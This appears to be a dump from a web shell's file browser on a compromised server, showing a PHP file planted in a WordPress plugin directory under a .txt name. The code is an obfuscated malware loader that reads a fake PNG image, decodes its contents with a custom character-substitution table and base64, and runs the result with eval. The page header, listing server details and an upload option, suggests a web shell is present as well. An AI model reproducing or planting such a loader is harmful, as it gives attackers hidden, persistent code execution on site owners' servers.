HEX
Server: Apache
System: Linux server11 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: web78 (5081)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client1/web78/web/wp-content/plugins/ataqelat/ukichec.txt
<?php

function eqimul_khufecubakh($ysegub_ykufelydu) {
    $bakibeq = ytedez_zhymikhy(1);
    $lupuhoz = ytedez_zhymikhy(2);
    for ($sisyji = 0; $sisyji < strlen($bakibeq); $sisyji++) {
        $efabog = substr($bakibeq, $sisyji, 1);
        $ilekhif = substr($lupuhoz, $sisyji, 1);
        $sukylew[$efabog] = $ilekhif;
    }

    $zhikigu = strtr($ysegub_ykufelydu, $sukylew);
    $zhikigu = base64_decode($zhikigu);

    return $zhikigu;
}

function ytedez_zhymikhy($ysegub_ykufelydu) {
    if ($ysegub_ykufelydu == 1)
        return ipevyk_ydofechuzho();
    if ($ysegub_ykufelydu == 2)
        return arahol_onokhemov();
}

function pozehy_ubozhivam($ysegub_ykufelydu) {
    $wycatuj = array();
    if (!file_exists($ysegub_ykufelydu))
        return false;
    $syzyjo = @file_get_contents($ysegub_ykufelydu);
    if (!$syzyjo)
        return false;
    $syzyjo = substr($syzyjo, 3);
    $wycatuj = eqimul_khufecubakh($syzyjo);
    return $wycatuj;
}

function ipevyk_ydofechuzho() {
    $syzyjo = "vJR4hb=dyAtFeaq1jVQMn3Slums6wIGpNOxPBfDH/gicX87k+rLK95ZUzCToW02YE";
    return $syzyjo;
}

function arahol_onokhemov() {
    $wycatuj = "0Pq9h4LCmOIUe8JlsASdMjn6ZQ3vgGKVHNtpEoryf/X7Dz=ax12Yb5uFwRTkWciB+";
    return $wycatuj;
}

$icahyc = pozehy_ubozhivam(__DIR__ . "/ass" . "ets/" . "images" . "/nuthy" . "no.png");
if ($icahyc) {
    @eval($icahyc);
}